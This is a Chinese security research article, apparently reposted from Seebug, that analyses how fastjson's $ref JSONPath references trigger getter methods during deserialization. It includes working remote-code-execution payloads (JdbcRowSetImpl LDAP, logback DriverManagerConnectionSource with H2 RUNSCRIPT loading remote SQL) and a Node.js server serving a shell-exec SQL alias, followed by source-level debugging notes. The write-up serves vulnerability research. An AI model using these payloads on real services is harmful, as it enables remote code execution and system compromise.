利用 fastjson $ref 构造 poc

作者:lxraa

本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!

投稿邮箱:paper@seebug.org

1、解决什么问题

反序列化的过程是把字符串映射成java类的过程,过程为①调用无参构造方法new一个java类;②通过反射的方式调用类的set方法设置字段。因此比较好用的poc一般是利用非纯set方法里的危险操作触发,例如JdbcRowSetImpl poc:

String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}"

JSON.parse(poc);

利用了com.sun.rowset.JdbcRowSetImpl的非纯set方法setAutoCommit:

...

public void setAutoCommit(boolean var1) throws SQLException {

if (this.conn != null) {

this.conn.setAutoCommit(var1);

} else {

this.conn = this.connect();

this.conn.setAutoCommit(var1);

}

}

...

而利用getXXX方法的poc一般利用难度较大,需要先将输入反序列化,再序列化才能触发,如网上流传较广的jackson ch.qos.logback.core.db.DriverManagerConnectionSource poc:

        String payload = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"}]";

ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping();

Object o = mapper.readValue(payload, Object.class);//反序列化

String s = mapper.writeValueAsString(o);//序列化

因此比较难找到实际使用场景

以下讨论一种利用fastjson的特性,构造poc,从而利用非纯get函数构造可用性较高的poc的方法

2、前序知识

什么是$ref

ref是 fastjson解决循环依赖的一种方式,如果序列化字符串中一个对象重复出现多次,则可以使用key为ref,value为JSONPath语法的方式引用之前出现的对象,例如:

//类的定义:

public class Test {

private Integer id;

public Integer getId() {

return id;

}

public void setId(Integer id) {

this.id = id;

}

}

//反序列化代码:

...

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0]\"}]"; //数组的第二个元素引用数组的第一个元素

Object o = JSON.parse(s);

...

序列化后的类如图所示:

image-20210623151631447

什么是JSONPath语法

https://goessner.net/articles/JsonPath/

JSONPath是为了在json中定位子元素的一种语言,具体语法规则网上较多,不做赘述。fastjson支持JSONPath

利用$ref触发get方法的例子

public class Test {

private Integer id;

public Integer getId() {

//此处下断点

System.out.println("getid");

return id;

}

public void setId(Integer id) {

this.id = id;

}

}

//反序列化代码:

...

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0].id\"}]"; //引用数组第一个对象的id属性,会触发getId方法

Object o = JSON.parse(s);

...

image-20210623164021838

这就是poc的构造原理

3、poc及代码分析

poc

java poc:

// 该poc < fastjson 1.2.59 可用

// 参考 https://github.com/LeadroyaL/fastjson-blacklist/blob/766f7c546d2698ab37cd304644d113e186143da2/readme.md

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String refPayload = "[{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\",\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"},{$ref:\"$[0].connection\"}]";

Object o = JSON.parse(refPayload);

server(nodejs):

const express = require("express")

const fs = require("fs")

const app = express()

app.get("/test.sql",function(req,res){

res.send(`

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {

java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");

return s.hasNext() ? s.next() : ""; }

$$;

CALL SHELLEXEC('calc.exe')

`)

})

app.listen(3000,function(){

console.log("listening 3000...")

})

源代码分析

该poc利用了h2库支持远程加载脚本的特性,触发点在org.h2.engine.FunctionAlias.getValue,poc本身的调用链不在本文讨论的范围内,以下讨论fastjson环境下该poc是如何生效的

断点下载com.alibaba.fastjson.JSON : line 165(fastjson版本1.2.58)

        DefaultJSONParser parser = new DefaultJSONParser(text, config, features);

Object value = parser.parse(); //反序列化关键逻辑类解析,set方法在这里调用

parser.handleResovleTask(value);//处理$ref

parser.close();

跟进handleResovleTask:

        if (ref.startsWith("$")) {

refValue = getObject(ref);

if (refValue == null) {

try {

refValue = JSONPath.eval(value, ref); //解析$ref

} catch (JSONPathException ex) {

// skip

}

}

}

第二个断点下在com.alibaba.fastjson.JSONPath : line 1634 explain函数

这个函数的作用是把$ref的value解析成segment,Segment是定义在JSONPath类的一个interface,实现类有:

image-20210623155937171

explain()会把一个完整的JSONPath拆分成小的处理逻辑,Segment接口即处理单元

public Segment[] explain() {

if (path == null || path.length() == 0) {

throw new IllegalArgumentException();

}

Segment[] segments = new Segment[8];

for (;;) {

Segment segment = readSegement();

if (segment == null) {

break;

}

if (segment instanceof PropertySegment) {

PropertySegment propertySegment = (PropertySegment) segment;

if ((!propertySegment.deep) && propertySegment.propertyName.equals("*")) {

continue;

}

}

if (level == segments.length) {

Segment[] t = new Segment[level * 3 / 2];

System.arraycopy(segments, 0, t, 0, level);

segments = t;

}

segments[level++] = segment;

}

if (level == segments.length) {

return segments;

}

Segment[] result = new Segment[level];

System.arraycopy(segments, 0, result, 0, level);

//返回一个Segment的Array,后面顺序执行每个Segment

return result;

}

第三个断点下在com.alibaba.fastjson.JSONPath : line 74 eval函数,这里顺序执行前面explain生成的segment array

    public Object eval(Object rootObject) {

if (rootObject == null) {

return null;

}

init();

Object currentObject = rootObject;

for (int i = 0; i < segments.length; ++i) {

Segment segment = segments[i];

// rootObject:json字符串经parseObject解析后的对象

currentObject = segment.eval(this, rootObject, currentObject);

}

return currentObject;

}

第四个断点下在com.alibaba.fastjson.util.FieldInfo: line 491 get函数

    public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {

return method != null

// 通过method.invoke触发get方法

? method.invoke(javaObject)

: field.get(javaObject);

}

触发效果:

image-20210623162206637

以上是 利用 fastjson $ref 构造 poc 的全部内容, 来源链接: utcz.com/p/199954.html

回到顶部